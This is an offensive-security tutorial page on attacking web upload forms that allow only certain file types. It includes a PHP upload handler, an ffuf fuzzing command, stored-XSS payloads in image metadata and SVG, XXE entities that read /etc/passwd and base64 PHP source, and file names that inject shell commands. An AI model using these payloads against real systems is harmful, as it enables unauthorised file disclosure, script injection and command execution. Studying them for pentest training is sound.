FILE UPLOAD - LIMITED FILE UPLOADS

PRIMARY CATEGORY → FILE UPLOAD

Theory

There are situations where the upload feature of a given web application is properly secured and therefore is not vulnerable to file upload bypasses we have seen

However, even if we are dealing with such an upload form, which only allows us to upload specific file types, we may still be able to perform certain attacks

Certain files such as SVG, HTML or XML may allow us to introduce some vulnerabilities to the web application by uploading malicious versions of these files

Code

Code

<?php
$target_dir = "./images/";
$fileName = basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
 
if (!preg_match('/^.*\.svg$/', $fileName)) {
    echo "Only SVG images are allowed";
    die();
}
 
foreach (array($contentType, $MIMEtype) as $type) {
    if (!in_array($type, array('image/svg+xml'))) {
        echo "Only SVG images are allowed";
        die();
    }
}
 
if ($_FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}
 
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
    $latest = fopen($target_dir . "latest.xml", "w");
    fwrite($latest, basename($_FILES["uploadFile"]["name"]));
    fclose($latest);
    echo "File successfully uploaded";
} else {
    echo "File failed to upload";
}

Fuzzing for allowed extensions

First, we should validate which extension are allowed by the given form

To do so, we need a tool, such as Ffuf and a set of wordlist for the most common web extensions

Wordlists

Common Web Extensions • Common Web Extensions: BIG

Fuzzing

Bear in mind that we need the raw POST HTTP request related to the upload to pass it to Ffuf along with one of the wordlists above

ffuf -v -t <THREADS> -request <REQUEST_FILE> -request-proto <REQUEST_PROTOCOL> -w <WORDLIST>

XSS

Stored XSS

HTML

As is commonly known, we can include Javascript code within an HTML file through either an <script> tag or event handlers as attributes within an HTML tag

Therefore, if an upload feature of a given web application allows us to upload an HTML file, once the latter is requested and rendered from the browser, all the js code will be evaluated, thereby being able to carry out attacks such as XSS or CSRF

Image Metadata

If a web application displays the metadata of an image uploaded somewhere, we can include an XSS payload in one of the metadata parameters that accept raw text, such as Comment or Artist

exiftool -Comment='test"><img src=x onerror=alert(location.origin)>'

As stated, when the metadata is displayed in the web application, the js payload will be triggered

Furthermore, we can try to modify the MIME type of the uploaded file to text/html as some web applications may show it as an HTML documents rather than an image, thereby triggering the XSS payload even if the metadata is not displayed

SVG

Remember that SVG images are XML-based, so an operator could include JS code within the given file, which would be evaluated once the image is rendered by the browser

So, we can modify its XML data to include an XSS payload, as follows

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(location.origin);</script>
</svg>

Again, once we upload the SVG image, the payload will be triggered whenever the former is displayed

XXE

SVG

Similarly to XSS, we can leverage SVG images to introduce web vulnerabilities into a given web application as long as it allows upload this image type

In this case, we can carry out a Local File Disclosure by injecting arbitrary XML entities within the SVG images

To do so, an operator could use the SYSTEM

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

Once the SVG image is rendered somewhere, our defined entity will load the specified file

Furthermore, it is recommended to list the content of web application files, such as PHP scripts, as we can potentially discover new vulnerabilities or security flaws by analyzing the source code of the entire web application

To do this, we can leverage the PHP Input filter called convert in order to get the source code in base64 and then decode it locally

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

Again, once the SVG is displayed, we should get the base64 content of the specified file

This method is not only limited to SVG files, other file types, such as PDFs, Word documents and so on, contains XML data within them, so we may modify it to include the malicious XML entity and achieve a blind XXE

Command Injection

Injection in File Name

There are situations where a web application may take the uploaded file’s name and pass it to a system command to carry out certain actions

If so, we can try to add a system command to the file name before upload it

file$(whoami).jpg
file`whoami`.jpg
file.jpg||whoami

Once the provided file name is passed to a function such as system() or shell_exec(), the command will be injected and executed

💥Cyb3rBook

Explorer